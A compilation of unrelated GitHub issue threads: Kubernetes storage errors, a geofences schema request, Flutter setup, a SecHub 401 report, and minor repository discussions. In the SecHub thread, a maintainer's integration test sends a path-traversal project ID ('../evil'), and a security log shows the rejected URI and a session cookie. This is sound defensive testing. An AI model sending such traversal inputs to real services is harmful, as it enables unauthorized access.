ansible-playbook -i inventory/mycluster/hosts.ini cluster.yml
Anything else do we need to know:
logs.tar.gz

I test in my env, it work ok!
see the logs from logs.tar.gz

desired_state_of_world_populator.go:273] Error processing volume "data" for pod "mollified-bat-rabbitmq-77fc69c5b9-nxgld_default(adad6f88-17c8-11e8-83c4-a4bf01279c10)": error processing PVC "default"/"mollified-bat-rabbitmq": PVC default/mollified-bat-rabbitmq has non-bound phase ("Pending") or empty pvc.Spec.VolumeName ("")
the pvc is alway pending,
please check this:

it need to create volume directory in /mnt/disks  in the node, which is local-volume-provisioner-xxx pod scheduler.
if your use storageclass in rabbit, need to create storageclass yourself
exec 'kubectl describe pvc mollified-bat-rabbitmq -n default ' to see detail

more detail see https://github.com/kubernetes-incubator/external-storage/tree/rbd-provisioner-v0.1.1/local-volume
want to help you~~


Add an ISO country code to the geofences table

What would you like to be added:
Please add an extra column in the geofences table to support the two character ISO country code.
Why is this needed:
I am building a custom dashboard for chargers, top chargers and cost to charger per month per charger.  I would like to break this down by country code or at least allow people to filter by country.
With the current implementation it shows me all chargers in GB and FR as that is what I have loaded.
Additional context:
I have added an additional column in the geofences table to support me, however it is not clear what happens on a version upgrade?  In case you would rather not deliver this could you please help me understand how customer modifications are not overridden on upgrade, e.g. naming standards for customers enhancement, e.g. z_country_code.

I have added an additional column in the geofences table to support me, however it is not clear what happens on a version upgrade? In case you would rather not deliver this could you please help me understand how customer modifications are not overridden on upgrade, e.g. naming standards for customers enhancement, e.g. z_country_code.

Some upgrades will change the database schema by adding, removing or renaming columns (see migratinos). If you change the table structure, it will basically be out of sync, which may or may not cause problems with future updates. if you just want to add this one column to your install you will probably be fine but keep in mind that there may be problems with an update.

Thats brilliant thank you Adrian.  I had a look at the migrations directory and now understand the structure.  I am not really "au fait" with GitHub or the approval process though which is definitely a downside.  I will try and upload a new migration file for comment and approval though and will reach out to you directly if I need more help.


I need help to work with Flutter on VS Code

I have updated Dart to the lastest version, when I run "flutter doctor -v", I got this problem

I have fount some tips that say "flutter doctor --android-licenses" will fix this error. But when I run that command, I got another problem

and this...

So please give me some instructions to get Flutter ready to work.
Thanks.

I installed JDK 8 and all problem is fixed.


 Client Version 0.28.0-20220218142739

2022-03-07 18:05:29 (+01:00) Zipping folder: src (/home/myuser/test/src)
2022-03-07 18:05:29 (+01:00) Creating new sechub job
2022-03-07 18:05:30 (+01:00) ERROR: The SecHub server responded with HTTP status code '401 '
body=
Hint: Unauthorized - Please check if your SecHub credentials (userID and API-token) are valid.

Problem:
The HTTP 401 with empty body is not helpful.
(The calling userID and api-token are correct)
Wanted:
Suggest to give a HTTP 403 with a meaningful message in the response body.
From w3.org:
403 Forbidden
The server understood the request, but is refusing to fulfill it. Authorization will not help and the request SHOULD NOT be repeated. If the request method was not HEAD and the server wishes to make public why the request has not been fulfilled, it SHOULD describe the reason for the refusal in the entity. If the server does not wish to make this information available to the client, the status code 404 (Not Found) can be used instead.

The reason why this results in a 404 is, that we do only allow normlaized URLs.
After creating an integration test which tries to create a job with an "../evil" projectId, I got following result:
2022-03-10 17:40:02.251  WARN 34724 --- [0.1-8443-exec-8] c.m.s.s.l.DefaultSecurityLogService      : [SECURITY] [POTENTIAL INTRUSION]:
data=
{
  "type" : "POTENTIAL_INTRUSION",
  "clientIp" : "<IP_ADDRESS>",
  "message" : "Rejected request, reason:{}",
  "messageParameters" : [ "The request was rejected because the URL was not normalized." ],
  "requestURI" : "/api/project/../evil/job",
  "httpHeaders" : {
    "accept" : "text/plain, application/json, application/cbor, application/*+json, */*",
    "accept-encoding" : "gzip,deflate",
    "authorization" : "Basic aW***length:66",
    "connection" : "Keep-Alive",
    "content-length" : "37",
    "content-type" : "application/json",
    "cookie" : "JSESSIONID=1327F3A7A719F2DCC0B873FB067684A3",
    "host" : "localhost:8443",
    "user-agent" : "Apache-HttpClient/4.5.13 (Java/1.8.0_282)"
  },
  "sessionId" : "1327F3A7A719F2DCC0B873FB067684A3"
}
, message=Rejected request, reason:The request was rejected because the URL was not normalized.
2022-03-10 17:40:02.263  INFO 34724 --- [0.1-8443-exec-9] .s.c.IntegrationTestServerRestController : FROM INTEGRATION-TEST:

The mentioned 401 is because the spring boot firewall does not accept malformed URLs at all, which should not be changed, so I will close this issue.
But after reading the other related code, I have created #1134 to change all 406 assertion error to 400 as a follow up issue.


Update URL for Marion, FL

The Marion county server has a crappy SSL certificate that the urllib3 library is refusing to connect to.

(See https://stackoverflow.com/questions/38015537/python-requests-exceptions-sslerror-dh-key-too-small)


Create a folder for all sorting techniques

It would be better to create a separate folder for all sorting techniques.

I can do this if you assign it to me.

Its perfectly alright the way it is


Make sure that naming is stable on outputs

If we have to make decisions about names, make sure they get made the same way in multiple runs.

I believe this is the case.


[egs] Enable pretrained models sharing on LibriMix

Follow the example of wham/ConvTasNet and share on Librimix, pretrained models to come !
@JorisCos, can you review please?

Looks great to me ! I can take care of the pretrained models. Do you think we should publish all of them ? ( I mean the 8 models  8k/16k min/max sep_clean/sep_noisy)

Looks great to me ! I can take care of the pretrained models. Do you think we should publish all of them ? ( I mean the 8 models 8k/16k min/max sep_clean/sep_noisy)

Cool, merging.
8k sep_clean and 8k sep_noisy would be great to start with !


docs: Adding doc comments to explain when each method should be called

doc comments that show when hovering over method
requires: https://github.com/vis2k/Mirror/pull/2451

sorry but once we start adding xml comments to weaver, the whole code will be even harder to work with.
there are only 3 people who even understand the weaver. we don't need xml comments for them.


Build(deps-dev): Bump @types/node from 18.0.6 to 18.6.1 (#3787)

Pull request opened by the merge tool on behalf of #3787

Merged in 6b766942d99a62d7dd5f7fd7c7fa15700d51895d